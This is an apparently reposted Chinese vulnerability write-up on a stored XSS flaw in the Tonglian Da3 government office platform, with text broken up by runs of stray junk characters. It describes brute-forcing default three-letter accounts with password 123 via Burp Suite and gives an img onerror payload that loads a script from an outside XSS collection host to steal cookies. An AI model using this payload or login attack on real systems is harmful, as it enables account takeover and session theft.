+ o$ O2 U0 j3 z) p. G i# W 4 Y: b8 ]* x* J6 K T, I# u
同联Da3协同办公平台后台通用储存型xss漏洞. l. X" n( J" C
a. Q; W; v/ e
) \8 Y5 z' S) f% R! P6 \" a
平台简介:
# j' B# _1 q2 K3 d
1 A5 A) f/ `# L# p. }
! U/ J8 N+ S8 e+ A" D2 j, y
& Y- F( |/ Y- Q. O8 l M
* _$ x: s% P! W& d
9 K: Y2 M7 H- i 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
! \& _$ u0 M& u$ o+ O
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
$ S6 e. q) M `
同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!0 g# `2 m* f' ?
, @/ _# ]2 T2 R! Z! M! [1 i( y / b4 O+ w# Y# K1 s
9 y7 M; t/ F& y3 t
* K1 }3 N5 }1 l# r5 `
3 U6 g6 J( H: l; d) n
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:
' V; d) c) m8 {/ \$ H) I) ?, h
+ q/ ?- K3 S2 s, U9 g) b; k6 J+ ^
$ Z, m$ B+ F) k! i8 ~" M# j/ M
$ ^. O- Q* O/ n6 \& \& S+ M2 X
$ b {! c. l/ z9 r1 V$ Y7 ?
0 d! n& U0 j0 S2 J& ? http://1.1.1.1:7197/cap-aco/#(案例2-). L; R/ ~4 a/ L Z$ y- D u
$ z! B3 r' s% Z' U6 `8 _. m
: a9 \: y. _: x http://www.XXOO.com (案例1-官网网站)8 c& q; n/ s4 D [1 A( }3 h# y4 N
- y8 p% ]7 \0 z" B6 |! c5 e 9 Z7 Y. D7 G1 z! @+ f- i! L, V B
漏洞详情:2 ?) S& n0 M" _1 R$ r/ y* v
: w h2 ]- B+ `6 Q ]& N/ M9 C * E# v0 H" `6 `" ]2 J! ]' H8 F
案例一、0 [! b" M3 @8 K% Y6 b8 i
8 d2 ]- Z% d4 `, v, K# O0 R) t+ Q i, H, m9 O) b1 a' `
初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试
; |; b [6 G% l$ z7 K
S- v+ Q! h" b& w / O' r `; Q% t( ~5 I
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:
2 ?9 H/ o+ H9 Z! u
) f0 `) m, ? n- K: T3 o6 H
# G( o: q& f' I/ w ] . x. I. U6 `& b/ l- U
9 K! w, E! ]9 D( I . {3 w/ [7 Q1 \8 J
+ Z0 C* ]1 E" K& b$ P
0 j; Z9 T& u5 I , K m% A, U( O
status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图: ! E. g3 D5 w y2 e) E) Y
7 N6 g; d0 n" }
$ [0 x; [# F) {( Y& j' Y
; S# e, Z, s2 x# [
. @' C, _. ?( y3 W6 ]$ ~
8 j# Z/ m: L' L- H* f* o1 s
/ L9 q/ n2 T4 z( p( V# E" I
7 y- d! I; P7 y# ^# s
) `0 P) |; e4 }. u
然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下
1 p. D# p( T# {& x0 Y
3 K5 c1 G, f% c
9 `( g4 O& E8 ?# W2 A; _" c) q
W) d* C0 y$ y
$ w& {+ U3 q1 a* C
- Z1 W; `' m) P; a, K <img src=x
: C+ G5 K- p$ V" }, G9 `) ionerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图: % u& {* [& l h g
7 t& W7 L) p6 Z/ H
! Z% p/ D) Q6 _& q/ F
: K1 w& `4 r. ~- `) c4 G$ B* ^
( k8 K% e3 o8 l# ]& \, ` {+ v
' r# L5 A% \; o+ U% f1 T 然后发送,接收cookie如图:
1 r# w$ t/ B& t3 O9 A
- M: Y' u4 T+ r8 F+ M/ Y0 A 6 E0 w$ C% k$ L5 z/ D
3 E; t1 n( |9 ]# R( p
. J) i+ R8 A7 S2 ?/ U q" v/ g
3 w" _0 P; ~; O+ p/ ~ + E% a! s# o! R/ g+ |
. {& g {% v V$ @. Y, o . T- I5 N* |2 u, K9 n
! u/ \: ]+ k- b4 z9 m2 @( D. W
+ l- k# A/ P: @, w , R0 S$ O* V u! P+ Y: G
8 B7 i0 M% C3 q/ | `* l8 E3 y
& `1 n! z9 z: h" e) n6 C
, @5 l# a" I* b$ x w+ m
& U% X" F, ?" s' q4 ^$ [
! r( P. J/ `. X2 X
: @& n' ~. o" F! k. V& ^8 [$ t
}% q+ ~& I0 b; O _5 b, i# `
; U6 \3 d8 u4 m. | + I& U/ a' t# l% q! W. i
$ \' i s8 c* y2 i0 z
% a1 g* s2 q8 v* e, M% ~
U" Y+ \% a# r6 F' X: K
案例2、
) Z9 ~3 C, t8 a: a
) k! b H6 U; `! d' _ / r+ ^" k$ c% }& J) y2 q) g
前面步骤都一样,下面看效果图: 5 z- Z, J& F: ?0 i+ a
' L9 C8 @. G8 G4 e' ]" ~
; Q" R. G# y' p- B4 u
7 M7 Q, u! r1 y: R
# ]4 }0 A. q7 Y$ p [) y) T; _( G7 u/ j' D
3 q5 a! X: f! M/ C( ?
5 q, ~' Y/ V) w0 _) ~4 M A# c
1 M4 { g: s7 ^% F" f. g. l
4 q+ k' Z" ^# x1 M" X6 @
( P( S' q2 C; r3 _# T
$ k; t' ?5 @: ?6 F d* O! r 7 D$ `5 g% G* m2 Y: c
6 X8 }3 I$ |% ~: @
9 R$ z2 i) \8 y) k; }2 [7 x
9 h8 C+ ^5 }: B9 Y; E3 V3 X
6 e% M) @ | I. k. }; l# f
% I' \1 G8 e0 g) @+ I, h* K6 o8 x ; u/ u9 ~0 M& u1 m3 S
Q& D; r l1 n8 {: W( c9 u' @- ?
+ }2 P8 s; l+ N. y
/ t. [$ E4 @7 c0 i% `7 A+ N) j
9 n% L$ B; i7 E5 k8 M
T# H6 N. K o1 A
' J# j' I# G; k. _( x1 T. r
- R4 ~; T' I5 p5 A9 V
0 A8 k p, ]% t( R" M! o/ ?
- C5 e' f( T, Z5 z' G9 a2 f: x) G V! x6 `
/ ?! ]( b# Z i4 G2 e